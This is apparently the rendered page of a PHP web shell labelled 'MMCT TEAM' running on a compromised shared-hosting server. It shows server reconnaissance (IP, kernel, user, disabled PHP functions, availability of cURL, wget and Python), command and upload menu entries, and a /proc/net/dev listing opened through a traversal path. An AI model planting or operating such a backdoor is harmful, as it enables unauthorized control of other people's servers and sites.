MMCT TEAM
Server IP : 82.197.83.136  /  Your IP : 216.73.217.81
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u163988420 ( 163988420)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0555) :  /home/../tmp/.sessions/../../proc/net/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/../tmp/.sessions/../../proc/net/dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 1082823611406658 387090533591    0    0    0     0          0         0 1082823611406658 387090533591    0    0    0     0       0          0
  eth0:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth1: 28517660483988 35572503987    0 22262    0     0          0   1369143 50783977774463 46411775368    0    0    0     0       0          0
  eth2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth3: 27665010405167 34031830607    0 15968    0     0          0   1341735 50893836323457 44515793771    0    0    0     0       0          0
eth0.666:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
eth1.666: 26887104136115 20527756310    0    0    0     0          0   1012782 48692882548693 22290960851    0 19367    0     0       0          0
eth2.666:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
eth3.666: 26095699257975 19466297077    0    0    0     0          0   1011916 48801783767183 20234423924    0 24925    0     0       0          0

MMCT - 2023